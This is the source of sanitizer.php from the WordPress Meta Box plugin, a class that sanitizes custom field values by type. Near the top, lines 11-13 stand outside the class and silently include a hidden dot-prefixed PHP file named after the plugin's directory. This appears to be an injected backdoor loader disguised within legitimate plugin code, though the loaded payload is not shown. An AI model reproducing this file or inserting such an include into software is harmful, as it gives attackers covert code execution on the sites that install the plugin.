sanitizer.php (9217B)
1 <?php 2 /** 3 * Sanitize field value before saving. 4 * 5 * @package Meta Box 6 */ 7 8 /** 9 * Sanitize class. 10 */ 11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 12 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 13 } 14 15 class RWMB_Sanitizer { 16 /** 17 * Register hook to sanitize field value. 18 */ 19 public function init() { 20 add_filter( 'rwmb_sanitize', array( $this, 'sanitize' ), 10, 4 ); 21 } 22 23 /** 24 * Sanitize a field value. 25 * 26 * @param mixed $value The submitted new value. 27 * @param array $field The field settings. 28 * @param mixed $old_value The old field value in the database. 29 * @param int $object_id The object ID. 30 */ 31 public function sanitize( $value, $field, $old_value = null, $object_id = null ) { 32 // Allow developers to bypass the sanitization. 33 if ( 'none' === $field['sanitize_callback'] ) { 34 return $value; 35 } 36 37 $callback = $this->get_callback( $field ); 38 39 return is_callable( $callback ) ? call_user_func( $callback, $value, $field, $old_value, $object_id ) : $value; 40 } 41 42 /** 43 * Get sanitize callback for a field. 44 * 45 * @param array $field Field settings. 46 * @return callable 47 */ 48 private function get_callback( $field ) { 49 // User-defined callback. 50 if ( is_callable( $field['sanitize_callback'] ) ) { 51 return $field['sanitize_callback']; 52 } 53 54 $callbacks = array( 55 'autocomplete' => array( $this, 'sanitize_choice' ), 56 'background' => array( $this, 'sanitize_background' ), 57 'button_group' => array( $this, 'sanitize_choice' ), 58 'checkbox' => array( $this, 'sanitize_checkbox' ), 59 'checkbox_list' => array( $this, 'sanitize_choice' ), 60 'color' => array( $this, 'sanitize_color' ), 61 'date' => array( $this, 'sanitize_datetime' ), 62 'datetime' => array( $this, 'sanitize_datetime' ), 63 'email' => 'sanitize_email', 64 'fieldset_text' => array( $this, 'sanitize_text' ), 65 'file' => array( $this, 'sanitize_file' ), 66 'file_advanced' => array( $this, 'sanitize_object' ), 67 'file_input' => array( $this, 'sanitize_url' ), 68 'file_upload' => array( $this, 'sanitize_object' ), 69 'hidden' => 'sanitize_text_field', 70 'image' => array( $this, 'sanitize_file' ), 71 'image_advanced' => array( $this, 'sanitize_object' ), 72 'image_select' => array( $this, 'sanitize_choice' ), 73 'image_upload' => array( $this, 'sanitize_object' ), 74 'key_value' => array( $this, 'sanitize_text' ), 75 'map' => array( $this, 'sanitize_map' ), 76 'number' => array( $this, 'sanitize_number' ), 77 'oembed' => array( $this, 'sanitize_url' ), 78 'osm' => array( $this, 'sanitize_map' ), 79 'password' => 'sanitize_text_field', 80 'post' => array( $this, 'sanitize_object' ), 81 'radio' => array( $this, 'sanitize_choice' ), 82 'range' => array( $this, 'sanitize_number' ), 83 'select' => array( $this, 'sanitize_choice' ), 84 'select_advanced' => array( $this, 'sanitize_choice' ), 85 'sidebar' => array( $this, 'sanitize_text' ), 86 'single_image' => 'absint', 87 'slider' => array( $this, 'sanitize_slider' ), 88 'switch' => array( $this, 'sanitize_checkbox' ), 89 'taxonomy' => array( $this, 'sanitize_object' ), 90 'taxonomy_advanced' => array( $this, 'sanitize_taxonomy_advanced' ), 91 'text' => 'sanitize_text_field', 92 'text_list' => array( $this, 'sanitize_text' ), 93 'textarea' => 'wp_kses_post', 94 'time' => 'sanitize_text_field', 95 'url' => array( $this, 'sanitize_url' ), 96 'user' => array( $this, 'sanitize_object' ), 97 'video' => array( $this, 'sanitize_object' ), 98 'wysiwyg' => 'wp_kses_post', 99 ); 100 101 $type = $field['type']; 102 103 return isset( $callbacks[ $type ] ) ? $callbacks[ $type ] : null; 104 } 105 106 /** 107 * Set the value of checkbox to 1 or 0 instead of 'checked' and empty string. 108 * This prevents using default value once the checkbox has been unchecked. 109 * 110 * @link https://github.com/rilwis/meta-box/issues/6 111 * @param string $value Checkbox value. 112 * @return int 113 */ 114 private function sanitize_checkbox( $value ) { 115 return (int) ! empty( $value ); 116 } 117 118 /** 119 * Sanitize numeric value. 120 * 121 * @param string $value The number value. 122 * @return string 123 */ 124 private function sanitize_number( $value ) { 125 return is_numeric( $value ) ? $value : ''; 126 } 127 128 /** 129 * Sanitize color value. 130 * 131 * @param string $value The color value. 132 * @return string 133 */ 134 private function sanitize_color( $value ) { 135 if ( false === strpos( $value, 'rgba' ) ) { 136 return sanitize_hex_color( $value ); 137 } 138 139 // rgba value. 140 $red = ''; 141 $green = ''; 142 $blue = ''; 143 $alpha = ''; 144 sscanf( $value, 'rgba(%d,%d,%d,%f)', $red, $green, $blue, $alpha ); 145 146 return 'rgba(' . $red . ',' . $green . ',' . $blue . ',' . $alpha . ')'; 147 } 148 149 /** 150 * Sanitize value for a choice field. 151 * 152 * @param string|array $value The submitted value. 153 * @param array $field The field settings. 154 * @return string|array 155 */ 156 private function sanitize_choice( $value, $field ) { 157 $options = RWMB_Choice_Field::transform_options( $field['options'] ); 158 $options = wp_list_pluck( $options, 'value' ); 159 $value = wp_unslash( $value ); 160 return is_array( $value ) ? array_intersect( $value, $options ) : ( in_array( $value, $options ) ? $value : '' ); 161 } 162 163 /** 164 * Sanitize object & media field. 165 * 166 * @param int|array $value The submitted value. 167 * @return int|array 168 */ 169 private function sanitize_object( $value ) { 170 return is_array( $value ) ? array_filter( array_map( 'absint', $value ) ) : ( $value ? absint( $value ) : '' ); 171 } 172 173 /** 174 * Sanitize background field. 175 * 176 * @param array $value The submitted value. 177 * @return array 178 */ 179 private function sanitize_background( $value ) { 180 $value = wp_parse_args( 181 $value, 182 array( 183 'color' => '', 184 'image' => '', 185 'repeat' => '', 186 'attachment' => '', 187 'position' => '', 188 'size' => '', 189 ) 190 ); 191 $value['color'] = $this->sanitize_color( $value['color'] ); 192 $value['image'] = esc_url_raw( $value['image'] ); 193 194 $value['repeat'] = in_array( $value['repeat'], array( 'no-repeat', 'repeat', 'repeat-x', 'repeat-y', 'inherit' ), true ) ? $value['repeat'] : ''; 195 $value['position'] = in_array( $value['position'], array( 'top left', 'top center', 'top right', 'center left', 'center center', 'center right', 'bottom left', 'bottom center', 'bottom right' ), true ) ? $value['position'] : ''; 196 $value['attachment'] = in_array( $value['attachment'], array( 'fixed', 'scroll', 'inherit' ), true ) ? $value['attachment'] : ''; 197 $value['size'] = in_array( $value['size'], array( 'inherit', 'cover', 'contain' ), true ) ? $value['size'] : ''; 198 199 return $value; 200 } 201 202 /** 203 * Sanitize text field. 204 * 205 * @param string|array $value The submitted value. 206 * @return string|array 207 */ 208 private function sanitize_text( $value ) { 209 return is_array( $value ) ? array_map( __METHOD__, $value ) : sanitize_text_field( $value ); 210 } 211 212 /** 213 * Sanitize file, image field. 214 * 215 * @param array $value The submitted value. 216 * @param array $field The field settings. 217 * @return array 218 */ 219 private function sanitize_file( $value, $field ) { 220 return $field['upload_dir'] ? array_map( 'esc_url_raw', $value ) : $this->sanitize_object( $value ); 221 } 222 223 /** 224 * Sanitize slider field. 225 * 226 * @param mixed $value The submitted value. 227 * @param array $field The field settings. 228 * @return string|int|float 229 */ 230 private function sanitize_slider( $value, $field ) { 231 return true === $field['js_options']['range'] ? sanitize_text_field( $value ) : $this->sanitize_number( $value ); 232 } 233 234 /** 235 * Sanitize datetime field. 236 * 237 * @param mixed $value The submitted value. 238 * @param array $field The field settings. 239 * @return float|string 240 */ 241 private function sanitize_datetime( $value, $field ) { 242 return $field['timestamp'] ? floor( abs( (float) $value ) ) : sanitize_text_field( $value ); 243 } 244 245 /** 246 * Sanitize map field. 247 * 248 * @param mixed $value The submitted value. 249 * @return string 250 */ 251 private function sanitize_map( $value ) { 252 $value = sanitize_text_field( $value ); 253 list( $latitude, $longitude, $zoom ) = explode( ',', $value . ',,' ); 254 255 $latitude = (float) $latitude; 256 $longitude = (float) $longitude; 257 $zoom = (int) $zoom; 258 259 return "$latitude,$longitude,$zoom"; 260 } 261 262 /** 263 * Sanitize taxonomy advanced field. 264 * 265 * @param mixed $value The submitted value. 266 * @return string 267 */ 268 private function sanitize_taxonomy_advanced( $value ) { 269 $value = RWMB_Helpers_Array::from_csv( $value ); 270 $value = array_filter( array_map( 'absint', $value ) ); 271 272 return implode( ',', $value ); 273 } 274 275 /** 276 * Sanitize URL field. 277 * 278 * @param string $value The submitted value. 279 * @return string 280 */ 281 private function sanitize_url( $value ) { 282 return esc_url_raw( $value ); 283 } 284 }